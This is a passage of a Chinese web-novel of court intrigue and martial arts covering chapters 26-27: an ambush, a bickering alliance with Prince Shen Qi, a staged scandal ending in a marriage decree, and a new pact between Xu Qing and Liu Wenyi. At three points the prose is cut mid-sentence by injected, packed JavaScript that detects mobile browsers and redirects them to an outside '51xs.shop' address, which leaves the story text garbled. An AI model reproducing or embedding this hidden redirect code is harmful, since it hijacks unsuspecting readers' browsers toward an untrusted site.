燕琼黑瞳微微一震,脑中闪过那人临走前的话,抿住唇没说话。 徐清见他默不作声,又把视线放在林小满身上。 “你说。” 林小满犹疑地瞥了眼燕琼,“是一个壮汉,他听闻我们是去游历增长见识,便说有一个地方定能助我们成长飞快,所以……” “所以你们便跟去了?”双瑶扶住徐清的胳膊,将她拉到身后,看着跪在地上的二人,“你们便不怕他是恶人?若是他武艺高强,将你们都掳走,取走你们性命呢?” “他不是恶人。”燕琼道。 林小满眼珠一转,有些诧异地瞥了眼燕琼,片刻后也点头,“周大哥只是给我们指了个路,并未与我们同行,应当不会将我们掳走……” 尾音渐弱,因瞧见徐清的面色越来越难看,她最后只得闭上嘴。 双瑶抓了重点,追问道:“周大哥?那人可是告诉你们他的名姓了?” “是。”林小满抢在燕琼前头回答,“他说,他名唤周惊山。” 这名字一出,徐清眼底闪过一道暗芒。 周遭忽起枝叶颤动的簌簌声,徐清双瑶身形同时动起来,双瑶朝着动静处跃去,徐清将地上还跪着没反应过来的二人一手一个拎起来,便往反方向跑去。 二人擦肩时,徐清留下一句:“别恋战,注意安全。”便带着林小满和燕琼消失在这块地界。 徐清将两个小的一同带回了骊山秋猎场时,暮色已布满天空,林间寂静非常,所有人都已在夜色降临前回到了营地,只有几人所经之处枝干不停晃动。 “小满!” 徐清轻喝,林小满抽剑回身,长剑与大刀相撞发出刺耳的声音。 一群蒙着半张脸的黑衣人追赶着三人,那头的林小满和燕琼都明显不敌,这头的徐清却被围起来完全抽不开身。 就在大刀即将挑开林小满手中的长剑时,几道尖啸声连续划过,以迅雷不及掩耳之势刺中攻击林小满和燕琼的黑衣人身上。 此时徐清趁着围攻她的那几个黑衣人有些紧张地往四周张望之际,一脚踹上了其中一人的背脊。 黑衣人们再次围住她,招招都为取她性命。 黑夜里传来马蹄疾踏,剩下几个黑衣人对视一眼,齐齐后退,足尖一点,消失在夜色里。 “姑娘,没事吧?” 歌槿下马,赶到徐清身边,有些忧心地上上下下打量她有没有受伤。 徐清摆了摆手,轻声道了一句“无事”,抬眼看向在歌槿身后策马悠悠踱步而来的沈祁。 那日徐清最后一句“若殿下只能靠他人才能夺得想要,那我就需要好好考虑一下与殿下的盟友关系了”几乎是指着沈祁说他自己无能,只能借力。沈祁负气离开,二人不欢而散后,他们许久未见,白日在宴上,二人都不曾有过一刻的眼神交流。 此刻四目相对,沈祁挑了挑眉梢,语调上扬,拖着尾音,“徐四姑娘这是惹上了什么人啊?怎的如此狼狈?” 徐清咬了咬牙,收回视线,转头看向林小满,此刻她已然知晓自己闯了祸,面上惶恐又不安。 她嗫嚅:“阿姐……” “待回了城,你便回舅公那儿去!”徐清怒气冲冲地说了一句,不再管她,目光又落在燕琼身上,“你,即日起跟在我身边作侍卫,哪也不许再去!” “歌槿,你先带着他们回去。”说罢,她不再看那两个话都不敢再多说的人。 歌槿瞥了眼徐清的脸色,应了声,带着惊惶的二人离开。 转瞬这块空地又只剩下徐清和沈祁二人。 沈祁翻身下马,牵着缰绳走到徐清跟前,脑袋歪了歪去看她的脸,徐清侧头避开,就是不看他。 他有些无奈道,“你这人气性真大,我左右不过提了一嘴齐家是可拉拢的,你就指着我的鼻子骂,最后你倒气上了,还不理人了。” “那是殿下非要凑上来的,我那日在殿上说的分明,就算齐家是个可拉拢的,我也不会委屈了栖枝,殿下何必又要再来多言。” 徐清经历今日一遭,胸腔内余火未消,语气中夹枪带棒的,呛人得很。 沈祁可算是发现了,他与徐清之间,除了在查缘尘楼那案子的时候外,从第一次见面起,他们但凡碰上,不是打就是吵,没有一次消停。 “真是冤家。”沈祁嘟囔了一句,就瞧见徐清瞪起了眼,又赶忙道,“算我多言了,你忘了便是,你我还是盟友。” 徐清不言,收了手中的短匕。 沈祁见状,又幽幽补充道:“方才我可是在千钧一发之际救下了你身边的那两个。” “……” 徐清深吸了一口气,扯唇道:“殿下放心,臣女是个言而有信之人。” “那言而有信的徐四姑娘可以告诉本王,方才那个被你换作‘小满’的女子,是谁吗?” 话落,氛围瞬间回到二人争锋拉扯时。 徐清偏头瞧了他一眼,实在没力气与他斗心眼子了,冷声道:“与殿下何干?” “我又多言了?”沈祁笑问,“看来徐姑娘是个言而有信之人,却不是可以推心置腹之人。” 本就不是。 徐清心中暗道,面上却不再应他,心里思索起周惊山的事。 前几日她还派人去查着周惊山的事,转眼这人就找上了她的人,还将两人弄去了武比。 今日这一遭还恰好遇上和年赋门的人比试,这下可是将麻烦引来了,居源和如今被年赋门盯上了,她一路被追至骊山,朝廷百官的阵仗,任谁也看得出这是秋猎,加上她先前本就为了杜绝麻烦放出的她是官家小姐的消息,接下来回京了怕是也不得安宁了。 这周惊山到底是何人? 沈祁久久未得到回话,一看徐清的目光虚虚地落在某处,便知晓她走神了。 抬手在她眼前打了个响指,突兀的声响将徐清的神思都拉了回来。 视线先聚焦到了面前修长的指节上,再一路顺着落在沈祁发觉被忽视得彻底后有些不满的脸上。 “殿下果然还是高扎发好看。” 她突然冒出这样一句话,惹得沈祁一愣,有些莫名地抓了下因方才歪头而落在肩头的发尾。 “殿下的发丝可还滋养了我屋外的树呢。” 脑中忽然闪过在凤鸾殿时徐清说的话。那是第一次交手,他也是扎了这样的高扎发,最后被削了发尾。 想到了这,他顿时觉得徐清是不想回答他的问题还顺带嘲讽他,语气硬邦邦的,颇有些咬牙切齿的意味:“你什么意思?” 徐清见他面色不霁,也有些觉得莫名其妙。 她不过是见他这样扎发利落干净显得意气轩昂,随口夸赞一句,顺便转个话题,怎么他一副犹如被踩了尾巴的猫一般炸毛的模样。 徐清不懂他怎的忽然生气,半晌找不着话。 这幅犹疑的样子落在沈祁眼中就是心虚不好意思明说,这下更生气了,用力一扯缰绳,转身就往营地的方向走去。 马儿也被他这突然的动静吓了一跳,鼻子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093102|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼出两口重气,才踏着马蹄跟上。 徐清抿着唇站在原地。 沈祁走了两步也发觉了空气里只能听见他自个儿和马的脚步声。 他绷着脸转头,有些恶声恶气地冲徐清扬声,“徐四姑娘打算今晚在这过夜吗?” “……” 徐清暗叹一声,抬步追上,行至沈祁身边,打趣道:“殿下还说我气性大,我哪有殿下能生气,好端端的,自个儿气上了,殿下如今可是连夸奖都听不得了?” 沈祁扯了下唇,发出一声冷哼,“是不是夸赞你自己清楚。” 徐清凝眉盯着他看了好一会儿,直把他脸上那不爽的神色盯得有些慌乱。 “做什么?” “殿下在想什么?我就是在夸殿下啊。” 视线相撞,徐清一脸认真,沈祁瞧着她,心下怀疑是不是真是自己想多了。 但又转念一想,徐清心眼子和他半斤八两,说个话绕一大圈,一堆言下之意,多想也实属正常。 “哦……”不过意识到徐清真是在夸他,竟然觉得莫名有些别扭,不知说什么好,只得木楞的应了一下。 徐清倒是松了口气,转移了他的注意力,他就不会再抓着林小满身份的事追问了,她可还没做好与他倾心吐胆的准备。 只是沈祁并不是一个好忽悠的人,安静了不过半刻,便拧着眉侧头,沉声:“你是不是在……” “嘘!”话未说完,便见徐清竖了一根细长白皙的手指在不唇边,示意他安静。 寂静的夜色林间中,隐隐有说话声传来。徐清侧耳听了听,随后放轻了步子往声源处走去。 从粗大的树干后探出视线,便见到一男一女两道眼熟的身影相对而立。 “云思起?”身后侧传来沈祁刻意压低了的嗓音,徐清偏了下头,斜了他一眼,让他别出声。 那头的人确实是云思起,他面前的那位女子,沈祁不认得,徐清却是认得的。 是云幽阁的云韶。 如此看来,云思起便是李月时那时提到的,云幽阁执意入仕的少主了。 她屏息想细听,那头的二人已然结束。夜色模糊之下,徐清只能看见那蓝衣女子放了个什么东西在云思起手中,便转身离开了。 她黑亮的眸子一转,回头冲沈祁使了个让他待在原地别动的眼色,自个儿自然地走出树干后头。 云思起目送妹妹的身影隐没在黑暗里,一转身乍然瞧见徐清,面色一凝,又立刻缓和下来,温和地与徐清问候:“徐四姑娘怎的在这?” 徐清微微一笑,“白日里身子突然不适,没猎到什么,便想夜里出来瞧瞧,不想云大人竟也在这。” “下官方才吃酒吃得多了,寻个静地吹吹风醒神。”说罢,他躬身拱手,“下官也吹了许久,便先回去了。” 徐清福身回了一礼,不作多言,只是那双瞧着云思起的眼睛里带这些耐人寻味的情绪。 云思起仿若未觉,直了身子后便抬起脚,走出几步后顿了下来,微微侧首,有些意味深长:“夜里狩猎比之白日更加危险,徐四姑娘还是不要夜猎的好。” “多谢云大人提醒。” 云思起走后,沈祁才重新牵着马走出来。 二人并肩看着云思起远去的背影,沈祁有些艰难的出声问: “他,在这,与女子,私会?” 徐清闻言顺着想了一下,顿时惊得一激灵,她意味不明地抬眼,“云思起是你的人了?” 沈祁点了点头,有些疑惑。 徐清接着问:“你觉得他是会半夜出来与女子私会的人吗?” 这会沈祁沉思了一息,摇了摇头。 “那就是了,殿下要相信自己看人的眼光。” 徐清噙着笑说完,不再等他,率先往前走。 26. 二十六 算计 回到营地,徐清径直回了自个儿的帐子,此前歌槿回来便与徐妗通好了气,有人问起就说她突然觉得身子不适,回了帐子里休息。 只是刚在帐子里没坐一会儿,就听见帐外传来兰愿宜和齐行安的声音。 “走快点!” “诶呦姑奶奶,你受着伤就非得跑这一趟,况且你表姐不是也身子不适嘛,我们这样不是也打扰她……诶诶诶你小心……” 徐清走出来,就看见兰愿宜一瘸一拐地被她的贴身婢女扶着,而齐行安在一旁隔着一段距离双手虚虚悬空呈一个搀扶的姿势,像是怕兰愿宜摔着好随时扶住她。 “诶你是不是想耍赖?”兰愿宜停了,斜眼觑着他,大有一种他要是敢说赖她就冲上去和他打一架的劲儿。 “你这说的什么话!小爷我答应了的事必然会做到,小爷是看你受伤了,觉得何必急在一时……” “我受伤还不是你害得!你……”话未说完,兰愿宜余光中看见徐清走了过来,立刻回身向徐清那踉跄了两步,吓得一旁的齐行安赶紧伸手来扶。 只是兰愿宜像是故意般躲开了他伸来的手,稳稳地扑进徐清的怀里,随后回头朝着他扬下巴,“快跟我阿姐道歉。” 齐行安见她稳了转眼去看徐清,正对上徐清抬眼看来,面色一瞬间僵硬又扭捏,嘴巴张张合合半晌挤不出一个字,急得兰愿宜扬声催他,“快啊!你哑巴啦?” 正安慰自己开口呢,就被怼了一下,齐行安咬咬牙,眼一闭,中气十足地大声道:“此前因舍妹之事多有冒犯,还请徐姑娘莫要与我多计较!” “就要计较!”兰愿宜瞧他一副不服气的模样,瞪起了眼。 “那你想怎样?任君处置行了吧。”一张俊脸臭着,齐行安冲着她不耐地嚷嚷。 徐清轻叹一口气摇了摇头,这齐行安比她还大上一岁,怎的两人都跟个顽童似的。 她抬手拍了下兰愿宜的脑袋,制止了她还想和齐行安呛声的行为,视线往她脚上瞥了眼。 “怎么弄的?” 兰愿宜站直了些,有些不好意思,“争急了,马儿不听使唤,差点从马上跌下来,脚卡在马镫中,就扭到了。” “从马上跌下来?”徐清大惊,将她整个人扶起,上上下下的扫视一边,“可有哪儿受伤?” “放心吧阿姐,我没跌下来,”她拉下徐清的手,侧首看了眼脸还难看着的齐行安,声音低了些,“他拽了我一把,把马勒停了,我没受伤的。” “哼。”饶是她刻意低了声,一边的齐行安还是听见她的话,冷哼一声,轻嗤道:“兰姑娘还没道谢呢。” 兰愿宜不服气,松开徐清的手,借着身旁丫鬟的力转身,气冲冲的,“是因为跟你比试急了才差点摔下马的。” 齐行安比她更不服气,“是谁说要跟我比的?连马都不会骑还硬要比,得亏我动作快,不然摔了,我看整个太医院来了都救不回你!” “你……” “停!”徐清一手捂额,一手抬起横在如稚童般争执的二人中间。 被打断的二人恶狠狠地互瞪了一眼,同时扭开了脑袋。 徐清见他们都静了下来,抓了他们话里的重点,问兰愿宜:“他怎么救的你?” 后者面色一滞,目光躲闪,脑中却不受控地想起那双有力的臂膀穿过腰间,在她腹前用力拉扯缰绳的样子。 不用她说,徐清也能知道。 不坐到马背上,怎么拉的住缰绳勒住马。 她转身看着齐行安,嘴角挂上了抹浅笑,眼底却没半分笑意,语调严肃:“今日之事是愿宜顽劣了,多谢齐公子出手搭救,只是愿宜尚年幼,不大懂男女之防,还望齐公子莫将今日之事说与他人,最好是——” “能烂在肚子里。” 齐行安听明白了徐清的意思,一时微怔,下意识看向站在徐清身后的兰愿宜,她垂着脑袋,看不清神色。 齐行安沉了脸,什么都没说,径直离去,背影似乎都藏着怒火。 徐清看着他远去的身影,挑了挑眉,看了眼仍低着头的兰愿宜,笑道:“我坏事了?” 兰愿宜微微红了脸,却还是说正经道:“没有,阿姐说得对。” “行了,我送你回去。”徐清抬手,扶住兰愿宜一侧的手臂,慢慢往她居住的帐子走。 兰愿宜的帐子离她的帐子不远,很快就到了,徐清扶着她进去安顿好,又嘱咐了几句,才起身返回。 这一块此刻还没什么人,官员家眷们都在前头吃酒聊白日的战绩。 徐清环顾了一圈,想来阿姐也还在前头,便打算去寻歌槿她们,先把周惊山的信息多知晓一些。 只是她方才回帐子并没有看见她们,想来是歌槿先带着她们俩去洗漱换衣去了。 揣上两瓶药,徐清准备直接去溪边寻人,刚拐开两个帐子,忽而看见沈祁站在帐子门外,面前站这个女子,那身影瞧着还有些熟悉。 那女子手里似乎端着什么东西,正往沈祁手中递。 徐清眯着眼仔细辨认了一番,确认了那就是宋阳的新婚妻子,也就是叶家女。 她认出后本不欲再看,只是这时那头的沈祁好似感觉到什么,视线直直就往徐清的方向看过来,看见徐清后眉头拧起,似是在斥责她偷看。 徐清瞧见,抬起的步子又收回,双手环在胸前,冲着沈祁挑起唇角,眉梢微挑,一副我就在这看了怎么着吧的无赖样。 沈祁见状,眉结微松,收回视线低首冲叶然说了什么,那叶然才收回手中的东西转身准备离开。 刚回身就见到身后不远处站着的徐清,面上一惊,步子不自觉地往后退了半步,连带着她身后的沈祁也往后赶忙退了一步。 叶然没发觉沈祁的动作,只在回过神后匆忙向徐清福了一礼,抬步快速离开。 徐清见人走了也准备离开,却被沈祁拦住。 “徐四姑娘怎么偷看完云大人,又来偷看本王?”沈祁收回手,也双手抱胸笑眯眯地歪头,“还是说徐姑娘还有事找本王,特地来的?” “怎么云大人刚深夜会见女子,殿下也深夜面见女子啊?”徐清放下手交叠在小腹前,意味深长补充,“还是臣妻?” 沈祁笑意一收,沉默片刻,才皮笑肉不笑地把先前徐清说他的话送回去,“别给我瞎扣帽子啊。” 徐清撇了撇嘴,微扬眉梢,不置可否,掉了身子又抬步打算离开,沈祁见了刚想说什么,不远处纷杂的脚步声匆匆而来,隐约能听见丁枣儿柔媚的嗓音。 二人对视一眼,齐齐往后退,朝着声源处而去。 两侧宫人手举火把开道,浩浩荡荡一群人往营地后边的帐子里去。 徐清刚想跟上,就被身侧一道力拽住,一回头,是徐妗,她身侧站着沈瑜。 徐妗先上下扫视一眼,才问:“白日里怎的了?” 徐清拍了拍她的手,安抚,“我无事,是小满,现下都解决了,莫担心。”说着,视线往前头的大部队一瞥,“这是出何事了?” 徐妗也顺着落过去一眼,摇了摇头,“不知,宴中时有个宫人跑来在陛下耳旁说了几句,陛下怒斥了南安侯一句,一行人便浩浩荡荡地来了。” 沈祁看了眼他四哥,后者也摇摇头便是不知晓,只道:“好似与谢晟鸣有关。” 四人站在这,已落后许久,沈祁下巴一抬,“去瞧瞧。” 四人刚追上,帐门恰好揭开,葳蕤的烛火下,一地散落的衣物和空气中若有似无的气味都昭示这里发生了什么。 为首的帝王和皇后都明显地愣了一下,盯着地上那条海棠色如意纹罗裙好半晌,随后黑眸微眯,冲身旁的公公递去一眼,公公会意,立刻将身后的人群请出去,唯留下神色难言的南安侯。 人散去后,丁枣儿身侧的宫女们拾起衣裙和长衫绕过屏风,好一会儿里头才走出个面色难看的俊俏公子,身上皱巴巴的藏青色长衫哪怕重新穿整齐,还是难掩凌乱。 “谢卿在做什么?”帝王坐在那,眸色中难掩探究和怒气。 方才前宴中,有宫人突然来报,道是看见谢晟鸣带着人回了帐子好似在密谋什么,他当场大怒,重重放下酒樽,冲着谢侯斥道“你教养的好儿子!”,谢侯一惊,赶忙跪在地上喊到,“陛下息怒,臣惶恐。” 随后一行人在前头宫人的带领下,来到这帐子前。帝王目光落在帐旁悬挂的“柳”字上,停了一息,才让宫人掀开帐门。 却是没想到帐子里会是这番淫/乱的光景。 “臣……” 谢晟鸣听出了帝王的情绪,矮身跪在地上拱起手,拧着眉张嘴却说不出话。 谢侯眼色一转,最后转向跪在地上的儿子,怒斥道,“你这逆子!我……”他顿住,左右看去,像是在找什么,最后抄起桌上的茶杯就砸过去。 谢晟鸣没躲,咬牙受了下来,茶杯磕在额角一声闷响,杯中的茶水飞溅,湿了他的面颊和衣领,更显狼狈。 一旁的公公赶紧上前拦住,嘴里喊着“谢侯冷静啊”。而谢侯被拦着不能上前,只能颤着手指着谢晟鸣,不待谢侯再说什么,里头的柳闻依穿戴整齐被宫女扶着走出来。 她站定后拂开宫女的手,跪在谢晟鸣身旁,无视谢晟鸣脸上一闪而过的憎恶,眼眶含着泪冲坐在那的帝王和一旁怒气冲冲的谢侯虚弱道,“陛下,侯爷,是臣女吃多了酒犯下错事,与谢小侯爷无关,请陛下责罚。” 帝王闻言更是火气翻涌,大掌用力一拍,震的桌上的茶盏都悬空一瞬发出脆响,他抬起另一只手点着谢晟鸣,眉眼冰凉,“东西长在他身上,他若不想,你还能强迫他不成?” 这话一出,在场几人面上都闪过一丝尴尬,柳闻依眼角的泪要落不落的,一时间也说不出话来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜借口只是借口,帝王可不信,“口中不仅污言秽语还谎话连篇,当朕是傻子吗?” 扬起的声调又让钟皓肥大的身躯忍不住颤抖,他趴在地上,冷汗和泪水混流,他再次向丁枣儿投去求助的目光,丁枣儿依旧不理他。 他一急,脱口就出,“娘娘救我啊娘娘,是您让我来……” “住口!”丁枣儿瞪大眼睛,没想到这蠢货不知道自己扛下来,反倒想把她供出来,“来人!把这狂徒拖出去!” 外头候着的宫人立刻进来,一手拽住一边,将钟皓往外拖。 而钟皓一边挣扎还一边想继续求丁枣儿救他,丁枣儿见他不止,又吩咐宫人:“堵住他的嘴!” 待帐内重新安静下来,丁枣儿转回身想吐出一口气,就见帝王正盯着她,一惊,连忙垂下头。 钟皓之后,众人视线重新放回跪在地上那二人身上。 柳闻依在钟皓被拖出去时便自觉从谢晟鸣怀中退出来,也没注意到后者脸上一闪而过的复杂。 脸上泪痕斑驳,时不时发出轻微的啜泣声,柳闻依一副像是被一连串的事吓得不轻的样子。 她的五官肖似柳青瓷,尤其是那双眼睛,眉目一转犹如盈盈秋水泛起涟漪,让人怜惜。 也正是这样,丁枣儿一直看她不喜,在她年少时便想让她给沈郗做妾,她自请随柳青烟入寺为柳青瓷祈福而躲过。 谁知若干年后,丁枣儿还想算计她。 而皇帝看着这张酷似发妻的小脸,心下微叹,看了眼跪在那沉默不语的谢晟鸣,转头对谢侯道,“事已至此,谢卿打算如何?” 谢侯被点,弯腰拱手,将腹中早就打好的说辞讲出,“此事是犬子的错,伤害了柳姑娘的清誉,待回了京城,臣即刻登门,向柳大人提亲。” 皇帝点点头,面上看不出对这个解决之法满不满意,只是淡声道,“闻依是柳家这辈唯一的姑娘,柳卿可未必舍得。这样,朕做主,给你二人赐婚,免得又横生枝节。” 话到末了,视线意味深长地落在身侧的丁枣儿身上。 “闻依,你可有异议?” 柳闻依怯怯地偏首瞧了眼谢晟鸣,摇摇头,语调里还有哽咽,“若是谢小侯爷愿意,臣女无异议。” 这话出口,谢晟鸣还没来得及说什么,谢侯已经急忙接上了话,“他愿意,就是委屈你了。”话落,又向谢晟鸣挤着眼使眼色。 谢晟鸣只好把话吞回去,俯首叩地,“多谢陛下。” 柳闻依这才也跟着福身,道:“多谢陛下。” 见事情已了,皇帝站起身,转身走出了帐子,宫人们有序跟上。 丁枣儿临踏出帐子时,忍不住回头恨恨地看向柳闻依。 而柳闻依虽垂着头,黑白分明的清透眼珠却向上看去,与丁枣儿气急败坏的脸撞上,唇角勾起了一个笑。 27. 二十七 新盟友 那夜帝后一同离开后,南安侯本打算带着谢晟鸣也回谢家帐子,只是刚行出柳家帐子,就迎面而来一道银光。 谢晟鸣往后一躲,短匕插入木梁之中。 他抬眼看过去,徐清正把拽着沈祁的手收回,一脸震惊又无语地捂住自己的袖口。 这杀千刀的,被她制着抽不了自己袖中的匕首,直接反手抽了她袖子里的。 她闭了闭眼,吐出一口浊气,转手拉住阿姐,脚步向后退,一起远离了这是非之地。 那头的谢侯在银光掠过时惊了一瞬,转眼看见沈祁和沈瑜后眸色冷下来,面上却挂了抹看似温和的笑。 他揣起手,语调微沉:“静王这是何意?” 沈祁嘴角扯了扯,笑里充满了讥讽,“名冠京城的谢小侯爷,原来是个登徒子,脸都不要了。” 谢晟鸣经历方才一遭,已然冷静不少,现下被骂了也不恼,只是用同样讽刺的语气笑着回道:“殿下与其在这贼喊捉贼,不如多与柳姑娘谈谈相鼠有皮的道理。” 这话一出,在场的人都皱了眉。 谢家是最早被架空权力的功臣派,空有一个可以世袭的侯位,却早已无实权。谢晟鸣自十四岁那年便因文采名冠于京,人人都以为他将重新扛起谢家门楣,他却迟迟不科考入仕。 倒是这么多年的名声积累,有不少想将女儿嫁给他的。 他是不愁娶,如今说这样的话,更是明言柳闻依算计了他才是真不要这脸皮。对于女子而言,这话着实有些过了。 徐清有些忧心地看向帐子,摇曳的烛火将柳闻依的身影投在帐门上,虚虚实实。 谢侯在沈祁沈瑜发难前先略带警告的出声喊了声谢晟鸣的名字。 后者笑而不再言语,不卑不亢地与沈祁对视。即使衣缕狼狈,也难掩身上那股风光霁月的气质。 沈祁瞧着他这幅样子牙痒得很,他不想卖谢侯面子,只想教训教训谢晟鸣,让他敛了这幅嘴角。 只是不待他有动作,帐内先传出柳闻依柔和的声音,“表哥。” “夜深了,早些回去歇息吧。” 徐妗抿唇与妹妹对视一眼,上前柔声用一句“夜色浓重,殿下可愿相伴一程?”率先带走了沈瑜。 沈祁却站在原地不愿动。 后头的徐清摇了摇头,叹出一口气,上前扯住沈祁的袖子,“今夜大家都乏了,便不再打扰,先告辞了。” 话毕,她用另一只手抽出沈祁袖中的匕首,在众人看不见的地方抵住了沈祁的手腕。 触及沈祁烦躁不悦的视线,她牵了嘴角安抚,“夜深了你没听见吗?柳姑娘也要歇息了。” 就这样连逼带哄地扯走了沈祁。 秋猎的第二日,徐清仍旧称病。 华盖下,徐清与柳闻依隔着段距离各自端坐。 徐清昨夜回去几乎整宿未眠,一日之内她奔波两地打了几架,回来同沈祁斗了几回心眼子,还突然知晓了许多事。 饶是身体再疲惫,也没有丝毫困意。 如今人坐在这,脑中还思索着事,直到面前一声轻响,茶水微晃,唤回了她的神思。 日幕下,面前的小几泛起一层白光,她垂眼看去,是她的匕首。 “这是你的吧。”柳闻依不知何时站在她面前,“插在帐外的木梁上,我瞧着不像表哥的,想来是表哥拿了你的。” 徐清定定地看了她一会儿,才笑着伸手将匕首收回来,“确实是我的,多谢柳姑娘。” “徐姑娘不必与我如此客气。”柳闻依落座在她对面,“往后都是一家人。” “况且,也该我向徐姑娘道声谢,昨夜若不是你带走了表哥,那动静又该将陛下叫回来了。” 徐清片刻间没接话,思绪几转,拿不准柳闻依这话的意思。 是真感谢,还是想顺着聊些别的。 她略一思索,“就像柳姑娘那时说的,夜深了,大家也疲乏得很,左右我在,带走他也好早平风波,让柳姑娘好生歇下。不过那时人已散,陛下大抵是不会再折回的。” “徐姑娘其实不必如此拐弯抹角与我交谈。”柳闻依听懂她的试探,面上笑容淡了许多,直言:“我知你与表哥做了盟友,所以——” “徐姑娘是押宝了吗?” 徐清嘴角下压,缓慢眨了下眼。 “一山容不得二虎,若五殿下登了大宝,四殿下该如何自处?静王可会放过他?届时徐二姑娘又该如何?” 此地无人,宫人都站在远处,没人能听见她二人的话。否则就柳闻依说得这些,都够她掉好几回脑袋了。 徐清拢袖,避而不答,转而轻笑道:“柳姑娘怎么连表兄都不叫了?” 柳闻依垂眼,自顾自的执起茶盏,“此次秋猎,百官齐随,我父位居左相之位,却未能前来,徐姑娘可知为何?” 徐清神色微变,柳闻依却没抬头,似乎并不在意她的反应,续道:“自十年前姑母过世,柳家在朝中的地位愈发微轻,如今更是徒有名而无实权。” “徐姑娘可知我为何自请入寺?”她又给徐清续上,“因为丁皇后想让我给盛王做妾,柳家保不住我,但柳皇后可以。” “我的脸极似姑母,所以我同陛下说,我想入寺为姑母祈福,陛下便允了我。” “那时我便想,陛下绝不似他人所说的那样毫不在意姑母。” 柳闻依放下茶盏,伴随一声轻响,她抬眸,语气莫名肯定,“所以我赌,最后荣登大宝的定然是五殿下。” 两双写满野心的润眸对上,徐清勾了勾唇角,“为何柳姑娘不压四殿下?淑妃亦是柳姑娘的姑母,她如今尚在人世,定会为子筹谋。” 柳闻依眸光微动,没应这话,转而道:“徐姑娘应当知晓,先皇在位时便已开始对世家出手,时至今日,世家根基动摇。” “叶家刘家为何那么快便被陛下处置了,甚至来不及做些什么以自保?因为他们内里早已没有什么权力了,他们依附皇子,企图拥护一个未来的新帝,以重振门楣,做只手遮天的权臣。” 说着,她微顿,似是不经意般提起:“而且,徐姑娘不觉得叶刘两家的结局,与十年前林温两家的结局格外相似吗?” “判罪的旨意即刻昭告天下,没有一丝一毫脱罪翻案的可能。” 徐清眸光冷冽,纤细白皙的指尖无意识轻抚着茶杯杯沿,她不答柳闻依抛来的试探,反问:“所以你算计谢小侯爷,找上了谢家,是为了保住柳家,重振柳家的光辉?” “是也不是。”柳闻依轻叹,“我不想我的姻亲变成政权博弈的筹码,但皇后娘娘总想拉我下水,我算计他,不过为了摆脱。谢家早已只剩空名,我嫁入谢家,陛下不会疑心。” “我虽对不住谢家,却也是身不由己。就像赐婚的圣旨送至百里外的江南,徐姑娘还是得千里迢迢来京。” 徐清轻笑,“柳姑娘不妨开门见山,究竟想与我说什么?” “万寿宴那日,御花园,浮碧亭,我也在。” 柳闻依凝目瞧着徐清,语调平静,却自带一股力量,“徐姑娘有破局的勇气,我亦有。” 徐清无言片刻,食指轻叩了叩桌面,而后粲然一笑,“不一样的,叶刘两家残害无辜,证据确凿,林温两家战死沙场,仅凭几页纸,不该急切定罪。” 柳闻依也笑,“瑜表兄坐不了那个位置。” 二人最后一来一回,达成了某种心照不宣。 徐清虽对柳闻依的话仍有疑惑,却也不再追问。试探博弈的氛围散去,二人都放松下来,徐清看着端起茶杯浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144551|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿的柳闻依,扬了扬眉梢。 “柳姑娘在这与我谈这种事,不怕被有心之人听去?” “习武之人五感灵敏,若有人,徐姑娘应当比我更警觉。” 徐清垂了眼捷,笑着点了点头。下一刻,刚收回袖中不久的匕首直直飞出,随后一声闷响传来。 柳闻依一惊,端着茶杯的手一抖,茶水洒出,落湿了袖口。 她惊恐未定地循声看过去。不远处,一个叫不上名字的宫人瞪着眼睛倒在地上,而徐清那柄匕首正插着他的脖颈处。 歌槿不知道从哪蹿出来,默不作声地扛起那宫人尚有余温的身体走进林间处理。 柳闻依见状回首问徐清:“秋猎随行的宫人皆有登记在册,杀了他,该如何交代?” 徐清把玩着刀鞘,“不必担心,这宫人没在登记册上,是丁皇后自己私养替她做事的。” “你……”柳闻依有些难以置信,她知晓徐清有些本事,却不知她竟连这都知晓。 徐清看出了她的疑惑,淡声解释:“先前这人被派来跟着五殿下,恰巧见过他的脸。” 这说的便是去凤鸾殿那日。只能道丁枣儿养的人实在无用,轻而易举便叫她透过窗缝瞥见了丁枣儿派来的人的脸,正也是今日这人。 “徐姑娘果然是极好的盟友。”柳闻依感叹道。 正说着,忽闻一阵马蹄声渐近。 二人一同侧首,便见沈祁和谢晟鸣几乎同时的翻身下马。 更巧的是,二人身上都显而易见地挂了彩。 远处的宫人听见动静,小跑着迎过来,见到二人身上的伤,又去了几人去唤随行太医。 徐柳二人对视一眼,先后起身走过去。 谢晟鸣一见柳闻依,眸色微顿,随后面不改色地移开视线,将手上的弓交给身旁的宫人,抬步率先往谢家帐子的方向走。 柳闻依浅笑着向沈祁福了一礼,给徐清递了个眼色,便转身从容地跟上谢晟鸣。 人走后,徐清轻呼一口气,微微歪首,眼睫上扬看着沈祁,后者若无其事般错开了目光。 徐清见他这副模样不由觉得好笑,她故意动了动身子,硬凑到沈祁眼前,“殿下如今几岁了?” 